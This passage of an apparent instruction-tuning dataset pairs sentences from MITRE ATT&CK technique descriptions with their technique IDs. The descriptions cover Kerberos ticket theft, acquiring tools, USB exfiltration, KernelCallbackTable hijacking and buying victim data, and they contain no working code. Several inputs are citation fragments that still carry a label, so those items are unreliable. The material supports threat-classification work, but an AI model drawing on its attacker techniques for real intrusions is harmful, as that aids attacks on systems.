### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access.", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. ### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. ### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). ### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. ### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Campbell 2014)", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Campbell 2014) ### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal capabilities that can be used during targeting.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal capabilities that can be used during targeting. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, steal, or download software tools that can be used during targeting.", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, steal, or download software tools that can be used during targeting. ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can be open or closed source, free or commercial.", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can be open or closed source, free or commercial. ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)).", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154).", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors.", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data over a USB connected physical device.", "output": "T1052.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exfiltrate data over a USB connected physical device. ### Response: T1052.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user.", "output": "T1052.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. ### Response: T1052.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "output": "T1052.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems. ### Response: T1052.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation:", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FinFisher exposed )", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FinFisher exposed ) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code>", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>).", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The PEB is then updated with the new address of the table.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The PEB is then updated with the new address of the table. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the tampered function is invoked, the malicious payload will be triggered.(Citation:", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the tampered function is invoked, the malicious payload will be triggered.(Citation: ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lazarus APT January 2022)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lazarus APT January 2022) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The tampered function is typically invoked using a Windows message.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The tampered function is typically invoked using a Windows message. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation:", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lazarus APT January 2022)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lazarus APT January 2022) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in private threat intelligence vendor data to gather actionable information.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in private threat intelligence vendor data to gather actionable information. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase technical information about victims that can be used during targeting.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase technical information about victims that can be used during targeting. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search and gather information about victims from closed sources that can be used during targeting.", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search and gather information about victims from closed sources that can be used during targeting. ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds)", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation:", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather.", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of 